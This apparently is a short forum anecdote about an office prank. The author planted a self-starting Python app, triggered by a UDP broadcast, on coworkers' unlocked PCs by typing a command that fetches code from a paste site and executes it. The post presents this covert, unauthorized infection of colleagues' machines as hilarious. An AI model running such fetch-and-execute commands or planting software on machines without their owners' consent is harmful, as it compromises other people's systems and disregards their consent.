I had this prepared in advance and executed on April 1st few years ago.

1. I wrote an app in Python that would autostart self & listen to UDP multicast and spam screen with message boxes once a special "magic" UDP broadcast kicks in. The app had minimum dependencies and used native libs for GUI to achieve this.
2. I posted this app source code on sprunge.us and remembered the short URL.
3. Once one of my coworkers left their PC unlocked, I opened their terminal and executed '$(wget -c sprunge.us/ASDF)' and closed the terminal as if nothing happened. I infected almost all machines this way.
4. On the April 1st I get to my office, open the terminal, send a magic UDP broadcast packet anf enjoy the chaos.

Man, that was hilarious.